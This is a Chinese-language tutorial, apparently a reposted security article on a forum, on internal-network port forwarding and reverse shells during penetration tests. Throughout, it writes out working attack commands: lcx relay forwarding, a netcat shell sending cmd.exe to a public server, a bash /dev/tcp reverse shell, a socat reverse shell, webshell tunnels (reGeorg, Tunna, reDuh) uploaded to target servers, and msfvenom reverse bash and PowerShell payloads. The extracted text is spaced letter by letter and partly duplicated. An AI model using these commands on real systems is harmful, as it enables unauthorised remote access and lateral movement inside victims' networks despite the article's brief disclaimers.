搜索

[14491] 2019-08-20_浅谈内网端口转发

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2019-08-20_浅谈内网端口转发 浅 谈 内 网 端 口 转 发 c m d g a g a   F r e e B u f   2 0 1 9 - 0 8 - 2 0 在 渗 透 测 试 过 程 中 ， 我 们 经 常 会 用 到 端 口 转 发 ， 利 用 代 理 脚 本 将 内 网 的 流 量 代 理 到 本 地 进 行 访 问 ， 这 样 极 大 的 方 便 了 我 们 对 内 网 进 行 横 向 渗 透 。 最 常 见 在 渗 透 测 试 过 程 中 ， 我 们 经 常 会 用 到 端 口 转 发 ， 利 用 代 理 脚 本 将 内 网 的 流 量 代 理 到 本 地 进 行 访 问 ， 这 样 极 大 的 方 便 了 我 们 对 内 网 进 行 横 向 渗 透 。 最 常 见 的 端 口 转 发 工 具 不 限 于 以 下 几 款 ， 大 家 可 以 根 据 在 实 际 测 试 过 程 的 需 要 进 行 选 择 。 的 端 口 转 发 工 具 不 限 于 以 下 几 款 ， 大 家 可 以 根 据 在 实 际 测 试 过 程 的 需 要 进 行 选 择 。 开 门 见 山 开 门 见 山 l c x 端 口 转 发 端 口 转 发 前 提 是 在 端 口 转 发 的 时 候 需 要 一 台 公 网 服 务 器 ， l c x 是 一 款 轻 便 的 端 口 转 发 工 具 ， L c x 程 序 多 用 于 被 控 制 计 算 机 处 于 内 网 的 时 候 ， 被 控 制 机 可 能 中 了 木 马 程 序 ， 虽 然 能 够 进 行 控 制 ， 但 还 是 没 有 使 用 远 程 终 端 登 录 到 本 机 进 行 管 理 方 便 ， 因 此 在 很 多 情 况 下 ， 都 会 想 方 设 法 在 被 控 制 计 算 机 上 开 启 3 3 8 9 端 口 ， 然 后 通 过 l c x 等 进 行 端 口 转 发 ， 进 而 在 本 地 连 接 到 被 控 制 计 算 机 的 远 程 终 端 并 进 行 管 理 和 使 用 。 在 没 有 端 口 转 发 的 情 况 下 外 网 主 机 是 不 能 直 接 连 接 内 网 主 机 的 ， 但 是 l c x 工 具 可 以 将 内 网 主 机 （ 出 入 内 网 主 机 的 需 要 能 够 p i n g 通 互 联 网 ） 的 某 个 端 口 抓 发 到 外 网 的 某 个 端 口 上 面 ， 这 样 的 话 处 于 外 网 的 主 机 可 以 将 映 射 到 外 网 的 端 口 再 反 弹 到 另 一 个 外 网 的 端 口 上 面 （ 用 的 最 多 的 是 3 3 8 9 ） ， 这 样 我 们 就 可 以 直 接 远 程 连 接 反 弹 的 端 口 就 可 以 与 内 网 主 机 进 行 通 信 。 故 内 网 已 经 打 通 ， 说 实 话 l c x 的 工 具 如 同 在 路 由 器 上 面 做 了 端 口 转 发 。 在 被 控 制 端 执 行 命 令 ： l c x . e x e   - s l a v e   1 9 2 . 1 6 8 . 2 0 5 . 1   5 3   1 9 2 . 1 6 8 . 2 0 5 . 1 4 3   3 3 8 9   / / 将 内 网 3 3 8 9 端 口 转 发 到 公 网 5 3 端 口 ； 在 控 制 端 执 行 命 令 ： l c x . e x e   - t r a n   5 3   1 2 3 4   / / 将 接 收 到 的 5 3 端 口 反 弹 到 1 2 3 4 端 口 ； 执 行 完 毕 后 ， 我 们 会 发 现 内 网 的 3 3 8 9 已 经 反 弹 到 公 网 5 3 端 口 ：
我 们 本 地 远 程 连 接 1 9 2 . 1 6 8 . 2 0 5 . 1 : 1 2 3 4 , 就 可 以 访 问 到 内 网 主 机 , 这 样 我 们 就 可 以 远 程 登 陆 内 网 服 务 器 ， 进 行 内 网 的 横 向 扫 描 （ 请 勿 非 法 使 用 ） ： n c 端 口 转 发 端 口 转 发 n c 这 个 工 具 不 仅 可 以 反 弹 端 口 ， 也 可 以 作 为 扫 描 器 使 用 ， 在 这 里 我 们 只 是 介 绍 一 下 端 口 转 发 的 作 用 。 内 网 服 务 器 将 c m d . e x e ( 就 是 个 s h e l l ) 主 动 响 应 到 你 电 脑 的 7 7 7 端 口 。 你 再 在 本 地 机 上 监 听 7 7 7 端 口 ， 这 样 就 进 入 了 对 方 的 c m d 了 。 我 们 在 分 别 在 内 网 与 公 网 服 务 器 执 行 以 西 命 令 ： n c   - t   - e   c m d . e x e   1 9 2 . 1 6 8 . 2 0 5 . 1   8 8 8 8   / / 在 内 网 服 务 器 上 面 执 行 此 命 令 ， 将 在 公 网 服 务 器 开 启 一 个 c m d 的 窗 口 ； n c   - l v p   8 8 8 8   / / 在 公 网 服 务 器 上 面 执 行 此 命 令 ， 接 受 来 自 内 网 的 信 息 ， 将 信 息 反 馈 到 公 网 的 8 8 8 8 端 口 ； 当 我 们 端 口 转 发 成 功 后 ， 在 公 网 服 务 器 上 面 会 反 弹 一 个 c m d 的 命 令 窗 口 ， 这 个 就 是 内 网 服 务 器 的 ， 在 上 面 可 以 执 行 系 统 命 令 ， 如 下 图 所 示 ：
s o c k s   代 理 工 具 代 理 工 具 下 面 配 合 实 验 来 介 绍 一 下 s o c k e s 代 理 工 具 ， 主 要 涉 及 r e G e o r g 、 T u n n a r e G e o r g 端 口 转 发 端 口 转 发 r e G e o r g 不 用 多 介 绍 了 ， 内 网 渗 透 中 常 用 工 具 之 一 。 小 白 经 常 用 于 渗 透 测 试 中 的 内 网 转 发 ， 主 要 是 因 为 方 便 实 用 。 这 个 工 具 需 要 配 合 p r o x i f i e r , 使 用 的 s o c k s 5 代 理 进 行 运 用 的 。 标 红 的 是 我 们 需 要 的 脚 本 ， 根 据 自 己 的 需 要 结 合 实 际 测 试 环 境 来 选 用 的 。 首 先 我 们 现 经 代 理 脚 本 上 传 到 服 务 器 ， 实 验 的 环 境 是 j s p 的 ， 所 以 上 传 代 理 脚 本 t u n n e l . n o s o c k e t . j s p ， 然 后 我 们 在 浏 览 器 访 问 一 下 ， 如 果 出 现 以 下 提 示 就 说 明 代 理 成
功 。 上 传 代 理 脚 本 成 功 后 ， 我 们 打 开 p r o x i f i e r 进 行 配 置 参 数 ， 代 理 的 端 口 默 认 是 8 8 8 8 ， 代 理 的 规 则 我 们 设 置 为 谷 歌 浏 览 器 ， 如 果 其 它 的 不 需 要 可 以 去 掉 勾 ： 上 述 代 理 参 数 配 置 完 毕 后 ， 我 们 在 c m d 输 入 一 下 命 令 就 会 出 现 下 面 的 界 面 : p y t h o n 2 . e x e   r e G e o r g S o c k s P r o x y . p y   - p   8 8 8 8   - u h t t p : / / x x x x : 8 8 8 8 / t r a n . j s p 。 这 样 的 话 我 们 就 把 内 网 的 流 量 代 理 到 外 面 ， 我 们 下 一 步 就 可 以 使 用 扫 描 工 具 进 行 内 网 的 横 向 扫 描 。 就 这 么 简 单 直 接 。 如 果 内 网 中 的 3 3 8 9 只 能 是 内 网 进 行 连 接 的 话 ， 我 们 可 以 使 用 m s t s c . e x e 通 过 代 理 进 行 连 接 3 3 8 9 远 程 桌 面 ， 其 它 的 端 口 都 是 一 样 的 道 理 ， 灵 活 运 用 即 可 。 （ 仅 限 学 习 ， 切 勿 在 未 授 权 的 情 况 下 使 用 ！ ！ ！ ）
T u n n a 端 口 转 发 端 口 转 发 T u n n a 这 个 工 具 使 用 起 来 也 特 方 便 ， 脚 本 的 编 写 也 是 基 于 P y t h o n 2 版 本 。 运 用 的 时 候 也 需 要 我 们 把 代 理 脚 本 上 传 到 目 标 服 务 器 ， 然 后 通 过 代 理 内 网 的 某 个 端 口 ， 注 意 这 个 工 具 只 能 代 理 一 个 端 口 ， 有 点 局 限 性 。 但 是 我 们 可 以 代 理 3 3 8 9 、 2 2 、 3 3 0 6 、 1 4 3 3 等 敏 感 端 口 ， 然 后 将 敏 感 端 口 流 量 转 发 了 外 网 的 的 某 个 端 口 ， 我 们 再 通 过 本 地 连 接 外 网 的 端 口 进 行 连 接 ， 这 样 的 话 我 们 就 可 以 使 用 了 。 第 一 步 ： 我 们 将 代 理 脚 本 上 传 到 目 标 服 务 器 ， 在 浏 览 器 访 问 代 理 脚 本 是 否 被 解 析 : 第 二 步 ： 运 行 p r o x y . p y   并 指 定 端 口   p y t h o n   p r o x y . p y   - u h t t p : / / 1 9 2 . 1 6 8 . 2 0 5 . 1 4 3 / c o n n . p h p   - l   1 2 3 4   - r   3 3 8 9   - v ; 第 三 步 ： 本 地 执 行 r d e s k t o p   1 2 7 . 0 . 0 . 1 : 1 2 3 4 ; r e D u h 端 口 转 发 端 口 转 发 r e D u h 也 是 一 款 内 网 渗 透 利 器 ， 这 个 工 具 可 以 把 内 网 服 务 器 的 端 口 通 过 h t t p / h t t p s 隧 道 转 发 到 本 机 ， 形 成 一 个 连 通 回 路 。 用 于 目 标 服 务 器 在 内 网 或 做 了 端 口 策 略 的 情 况 下 连 接 目 标 服 务 器 内 部 开 放 端 口 。 服 务 端 是 个 w e b s h e l l ， 工 具 里 面 针 对 不 同 服 务 器 有 a s p x , p h p , j s p 三 个 版 本 ， 客 户 端 是 j a v a 写 的 ， 本 机 执 行 最 好 装 上 J D K 软 件 。
我 们 将 代 理 脚 本 上 传 到 目 标 服 务 器 ， 在 本 地 访 问 代 理 脚 本 这 样 我 们 执 行 一 下 三 条 命 令 就 可 以 成 功 将 目 标 主 机 的 3 3 8 9 端 口 代 理 到 本 地 的 1 2 3 4 端 口 ， 本 地 连 接 1 2 3 4 端 口 就 可 以 登 陆 内 网 服 务 器 。 本 地 连 接 1 0 1 0 端 口 连 接 成 功 会 有 欢 迎 提 示 ， 之 后 输 入 命 , 在 j a v a 命 令 窗 口 执 行 使 用 m s t s c 登 录 1 2 7 . 0 . 0 . 1 : 1 2 3 4 ， 到 了 这 一 步 就 算 成 功 了 ， 我 们 可 以 根 据 前 期 抓 取 到 的 登 陆 密 码 进 行 登 陆 。 j a v a   - j a r   r e D u h C l i e n t . j a r h t t p : / / s o m e s i t e . c o m / r e D u h . p h p n c   - v v   l o c a l h o s t   1 0 1 0 [ c r e a t e T u n n e l ] 1 2 3 4 : 1 2 7 . 0 . 0 . 1 : 3 3 8 9
由 于 小 白 能 力 有 限 ， 其 它 的 s o c k e s 代 理 后 续 会 以 实 验 的 形 式   再 呈 现 给 大 家 。 下 面 说 一 一 下 b a s h 端 口 转 发 。 山 转 一 角 山 转 一 角 L i n u x 一 句 话 端 口 转 发 一 句 话 端 口 转 发 我 们 在 渗 透 测 试 中 回 经 常 遇 见 L i n u x 主 机 环 境 ， 我 们 将 获 取 到 L i n u x 主 机 的 s h e l l 为 内 网 渗 透 的 工 作 之 一 ， 但 有 时 候 把 并 不 是 我 们 想 象 的 那 样 简 单 ， 毕 竟 目 标 主 机 是 处 在 内 网 环 境 中 没 有 公 网 I P 是 无 法 与 我 们 的 公 网 I P 进 行 通 信 的 ， 中 间 隔 了 一 道 墙 这 怎 么 搞 ？ 1 、 b a s h 直 接 反 弹 端 口 ： b a s h 一 句 话 反 弹 s h e l l , 个 人 在 实 际 渗 透 中 用 的 也 比 较 少 ， 但 是 我 看 着 别 人 都 说 还 比 较 方 便 ， 那 么 下 面 就 来 看 一 下 ， 这 个 b a s h 怎 么 反 弹 端 口 的 。 首 先 我 们 在 我 们 先 在 目 标 主 机 上 面 执 行 命 令 : b a s h   - i   > &   > / d e v / t c p / 公 网 I P / 端 口   0 > & 1 ; 我 们 先 不 看 执 行 的 效 果 如 何 ， 分 析 一 下 这 个 命 令 的 含 义 : b a s h   - i   / / 意 思 指 的 是 产 生 一 个 b a s h 的 交 互 环 境 ； / d e v / t c p / 公 网 I P / 端 口   / / 大 佬 们 其 实 一 看 就 明 白 ， 就 是 让 内 网 主 机 与 公 网 主 机 的 某 个 端 口 进 行 连 接 ； 0 > & 1   / / 将 标 准 输 入 域 标 准 输 出 内 容 相 结 合 ， 然 后 重 定 向 给 前 面 的 标 准 输 出 内 容 ； 然 后 在 公 网 服 务 器 上 面 执 行 监 听 命 令 ， 这 样 的 话 就 能 把 内 网 的 s h e l l 转 发 到 公 网 服 务 器 ： n c   - l v v p   端 口
在 目 标 主 机 上 面 查 看 端 口 信 息 发 现 ， 目 标 主 机 与 公 网 I P 的 8 8 8 8 端 口 建 立 了 连 接 ， 故 内 网 主 机 的 s h e l l 反 弹 到 了 公 网 服 务 器 。 除 了 b a s h 一 句 话 可 以 反 弹 s h e l l ， 还 包 括 不 限 于 p y t h o n j a v a p e r p h p 等 脚 本 的 一 句 话 ， 感 兴 趣 的 大 佬 都 可 以 自 己 去 研 究 一 下 。 小 白 就 不 在 这 里 班 门 弄 斧 了 。 冰 雪 来 袭 冰 雪 来 袭 s o c a t   反 弹 一 句 话 反 弹 一 句 话 S o c a t 是 L i n u x   下 一 个 多 功 能 的 网 络 工 具 ， 它 与 n c 工 具 差 不 多 ， 但 是 看 了 网 上 多 说 人 反 馈 相 比 N C 工 具 方 便 的 多 。 为 了 方 便 测 试 ， 内 网 主 机 我 们 用 k a l i ， 因 为 k a l i 上 面 不 用 安 装 ， 需 要 在 公 网 I P 安 装 一 下 。 首 先 我 们 在 公 网 上 面 执 行 监 听 9 9 9 9 端 口 的 命 令 ： s o c a t   T C P - L I S T E N : 9 9 9 9   - 目 标 主 机 上 面 执 行 以 下 命 令 ： s o c a t   e x e c : ’ b a s h   - l i ’ , p t y , s t d e r r , s e t s i d , s i g i n t , s a n e   t c p : 1 0 6 . x x x . x x x . 1 1 5 : 9 9 9 9 执 行 完 毕 后 ， 公 网 服 务 器 上 面 就 会 出 现 内 网 的 b a s h ， 可 以 执 行 系 统 命 令 。
m s f v e n o m   获 取 反 弹 一 句 话 获 取 反 弹 一 句 话 M S F 渗 透 测 试 框 架 除 了 常 规 的 端 口 扫 描 、 口 令 爆 破 、 抓 包 、 提 权 等 操 作 ， 还 可 以 作 为 生 成 一 句 话 反 弹 s h e l l 的 工 具 。 我 们 需 要 在 M S F 上 面 查 询 到 各 类 的 路 径 信 息 。 本 机 的 服 务 器 有 点 卡 ， 就 不 一 一 列 出 各 类 的 路 径 信 息 。 首 先 使 用 b a s h 反 弹 生 成 一 句 话 ， 执 行 一 下 命 令 ： m s f v e n o m   - p   c m d / u n i x / r e v e r s e _ b a s h   l h o s t = M S F I P   l p o r t = 5 5 5 5   R   这 条 命 令 也 可 以 在 自 己 k a i l i 上 面 执 行 生 成 ， 只 是 把 I P 改 为 自 己 的 公 网 I P ， 本 地 测 试 的 时 候 在 公 网 服 务 器 生 成 的 事 件 特 慢 ， 不 知 道 什 么 原 因 。 一 定 要 先 在 公 网 服 务 器 监 听 5 5 5 5 端 口 ， 然 后 把 生 成 的 执 行 语 句 在 目 标 主 机 上 面 进 行 执 行 （ 执 行 的 命 令 为 上 个 图 片 中 标 红 的 命 令 ） 。 不 然 会 出 错 的 。
接 下 来 我 们 玩 个 刺 激 的 ， 看 看 p o w e r s h e l l 能 不 能 行 的 通 ？ 我 们 搜 索 搜 索 一 下 是 不 是 有 p o w e r s h e l l 这 个 模 块 ， 通 过 命 令 查 询 ， 果 不 其 然 有 这 个 模 块 ， 你 要 知 道 p w o e r s h e l l 这 个 渗 透 测 试 框 架 是 非 常 牛 逼 的 ， 我 们 在 安 全 测 试 过 程 中 不 仅 遇 见 L i n 环 境 ， 更 多 的 遇 见 的 是 W i n 环 境 。 废 话 少 数 ， 下 面 开 始 测 试 由 于 执 行 的 命 令 太 多 了 ， 小 白 在 这 里 就 不 罗 列 了 ， 还 是 那 句 话 ， 首 先 在 公 网 服 务 器 上 执 行 监 听 的 命 令 ： 下 面 我 们 在 内 网 服 务 器 上 面 执 行 P o w e r s h e l l 命 令 ， 看 看 公 网 上 面 会 不 会 反 弹 s h e l l ： 经 过 测 试 ， 发 现 内 网 主 机 的 s h e l l 已 经 反 弹 到 了 公 网 服 务 器 ， 至 于 红 色 报 错 小 白 猜 想 可 能 是 内 部 信 息 的 报 错 。 m s f v e n o m   - l   p a y l o a d s   | g r e p   ‘ r e v e r s e _ p o w e r s h e l l ’   / / 查 询 p o w e r s h e l l 模 块 的 位 置 m s f v e n o m   - p   c m d / w i n d o w s / r e v e r s e _ p o w e r s h e l l   l h o s t = 1 0 6 . x x x . x x x . 1 1 5   l p o r t = 8 8 9 9   r   / / 生 成 p a y l o a d , 类 型 是 P o w e r s h e l l , 标 红 的 一 段 是 需 要 在 目 标 主 机 上 面 执 行 的 命 令 。 n c   - l v v p   8 8 9 9   / / 监 听 本 机 的 8 8 9 9 端 口
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理